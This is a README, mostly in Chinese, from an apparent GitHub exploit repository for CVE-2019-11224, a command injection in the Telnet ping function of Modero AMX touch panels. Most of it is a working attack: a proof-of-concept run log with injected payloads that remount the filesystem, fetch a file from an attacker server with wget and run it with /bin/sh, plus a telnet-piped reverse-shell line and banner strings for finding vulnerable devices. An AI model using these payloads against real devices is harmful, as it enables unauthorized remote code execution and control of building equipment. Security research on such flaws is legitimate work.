insecurities/cve-2019-11224Modero AMX Code Execution (CVE-2019–11224)
此仓库包含一些关于CVE-2019–11224的资料（https://link.medium.com/zukA0oCnV8），因为我注意到该链接在NIST官方网站上已失效。
Modero AMX设备本质上是会议室的触摸面板设备，可以在许多不同环境中看到，并且通常开启Telnet。由于它们通过Telnet模拟一个不太理想的控制台，存在通过使用命令分隔符的'ping'功能的代码注入漏洞。
自从最初创建这个GitHub仓库并研究AMX设备以来，我已经创建了一个POC和利用流程，通过此漏洞获得反向shell。希望它能带给你乐趣 :}
我编写了一个POC amx_pwn.py，应该会有帮助。示例如下：
┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Your current settings are:
[*] Target: 192.168.0.21
[*] FileServer and Filename URL: http://192.168.0.41/something.jpg
[*] Verbosity: 1
(^_^)7 Continue? (Y/N): y
[*] RUNNING
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...
ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMDtelnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMDping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD检查Telnet横幅（通常是端口23）是否包含：
Welcome to Modero: 或 Copyright (C) AMX LLC。查找版本早于2.87.13的设备。